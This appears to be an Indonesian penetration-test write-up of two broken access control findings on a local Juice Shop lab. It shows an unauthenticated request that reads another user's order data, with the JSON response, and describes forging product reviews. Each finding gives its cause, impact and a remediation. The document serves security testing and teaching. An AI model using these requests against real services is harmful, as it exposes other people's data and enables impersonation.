

Broken Access Control 1 : Mengakses tracking order user lain

Kenapa berhasil?

1. Tidak ada mekanisme authorization untuk service track-order.

Risiko dampak

1. Pencurian informasi.

Rekomendasi perbaikan

1. Tambahkan mekanisme authorization service-service yang mungkin mengembalikan data dan/atau informasi sensitive.

The screenshot shows a REST client interface with a 'New Request' tab. The request is a GET to `http://localhost:3000/rest/track-order/5267-41f5f1f0dcc842e4`. The 'Authorization' tab is selected, showing 'No Auth'. The response is a 200 OK status with a JSON body. The JSON body contains order details for a user with email `*dm*n@j**c*-sh.*p`, including a list of products: Apple Juice (1000ml) and Orange Juice (1000ml).

HTTP MISC / New Request Save

GET `http://localhost:3000/rest/track-order/5267-41f5f1f0dcc842e4`

Params Authorization Headers (20) Body Scripts Tests Settings

Auth Type
No ...

No Auth
This request does not use any authorization. ⓘ

Body Cookies Headers (12) Test Results 200 OK • 26 ms • 737 B Save

{ } JSON Preview Visualize

```
1 {
2   "status": "success",
3   "data": [
4     {
5       "orderId": "5267-41f5f1f0dcc842e4",
6       "email": "*dm*n@j**c*-sh.*p",
7       "totalPrice": 8.96,
8       "bonus": 0,
9       "products": [
10        {
11          "quantity": 3,
12          "name": "Apple Juice (1000ml)",
13          "price": 1.99,
14          "total": 5.97,
15          "bonus": 0
16        },
17        {
18          "quantity": 1,
19          "name": "Orange Juice (1000ml)",
20          "price": 2.99,
```

Runner Start Proxy Cookies

Broken Access Control 2 : Men-submit data atas nama orang lain

Kenapa berhasil?

1. Tidak ada mekanisme authorization untuk service PUT product/1/reviews.

Risiko dampak

1. Social engineering.
2. Integritas data yang questionable.

Rekomendasi perbaikan

1. Tambahkan mekanisme authorization pada service yang meng-insert data ke database agar data yang diinput lebih akurat.

